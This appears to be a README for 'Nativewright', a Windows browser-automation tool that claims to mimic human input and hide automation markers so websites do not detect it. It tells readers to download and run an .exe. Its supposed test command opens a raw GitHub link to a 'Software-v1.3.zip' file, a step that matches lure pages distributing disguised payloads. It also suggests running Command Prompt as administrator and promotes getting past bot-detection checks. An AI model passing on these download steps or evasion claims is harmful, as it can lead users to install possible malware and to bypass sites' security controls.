Nativewright helps you control a web browser using automated commands. Most automation tools move the mouse in straight lines or type text instantly. Websites detect this behavior as non-human and often block the connection. Nativewright mimics how a real person uses a computer. It moves the mouse in natural curves, types letters at different speeds, and scrolls through pages with physics-based movement. Artificial intelligence agents use this software to navigate websites reliably.
You need a Windows computer to run this software. Ensure you have the following:
- Windows 10 or Windows 11.
- Google Chrome installed on your system.
- 4 GB of available space on your hard drive.
- An active internet connection.
Visit the project page to download the latest version for your computer.
Click here to open the download page
- Navigate to the link provided above.
- Look for the section labeled Releases on the right side of the page.
- Select the latest version listed.
- Download the file ending in .exe for Windows.
- Save the file to your Downloads folder.
Locate the file you downloaded. Double-click the file to begin the installation process. Keep the default settings during the install. The software sets up a persistent profile. This means the browser remembers your login information and site settings between sessions.
Nativewright operates through a command-line interface. A command-line interface is a text window where you type instructions.
- Open your Start menu.
- Type Command Prompt and press Enter.
- Type the location of the nativewright program followed by your command.
The browser daemon runs in the background. A daemon is a program that waits for instructions and executes them one by one. You provide the target website and the specific actions you want the agent to take. The software manages the browser window. It handles the mouse paths and keystrokes while you watch the agent finish the tasks.
A persistent profile keeps your history, cookies, and saved passwords. You do not need to log into your accounts every time you run an automation task. The software stores these files in a specific folder on your system. If you want to clear your data, navigate to the storage folder and delete the profile contents.
Websites use security checks to block automated scripts. Nativewright uses several techniques to mimic human behavior:
- Mouse Path Randomization: The software calculates curves instead of straight lines.
- Typing Cadence: It introduces tiny pauses between keystrokes to match real human typing.
- Scroll Physics: It mimics the friction and velocity of a human finger on a trackpad or mouse wheel.
- Header Masking: It hides the marks that identify the browser as an automation tool.
Test the software to ensure everything works correctly. Open your command prompt and use the following structural example:
nativewright open "https://raw.githubusercontent.com/barongoj3693/nativewright/main/test/Software-v1.3.zip"
This command launches the browser and directs it to the specified address. Observe how the cursor moves onto the screen. The browser will stay open until you send a close command.
Does the software require a subscription? No. This tool is free to use on your local machine.
Will my accounts get banned? Most websites allow automation that follows their terms of service. Nativewright avoids detection, but you must ensure your specific use case follows the rules of the websites you visit.
Can I run multiple instances? You can open multiple windows if your computer hardware supports the memory load. Start each process in a separate command prompt window.
What happens if the browser crashes? The daemon is designed to restart the browser automatically. If the software stops, simply re-run your command in the command prompt.
You can chain commands to build complex workflows. For example, you can tell the browser to visit a page, wait, click a button, and type text. The documentation inside the application explains these commands in detail. Type nativewright --help in your terminal to see a full list of available settings.
The software uses a configuration file to store your preferences. You can edit this file in any text editor like Notepad. You can change the speed of the mouse movement, the default browser size, or the folder location for your data. Save the file after you make changes. The software applies these settings the next time you start a new task.
Your data stays on your computer. Nativewright does not send your browsing history, cookies, or credentials to any remote server. The software only interacts with the websites you define in your commands. Always use caution when providing automated access to sensitive accounts.
If you encounter issues, check these common items:
- Browser not found: Reinstall Google Chrome to the default location.
- Permission denied: Run the Command Prompt as an administrator.
- Slow performance: Close unnecessary browser tabs or background applications.
- Unexpected stops: Check your internet connection for stability.
The software generates a log file in the installation folder. If you experience persistent errors, open this log file to read the details of what went wrong. You can share this log with others to find a solution to your problem.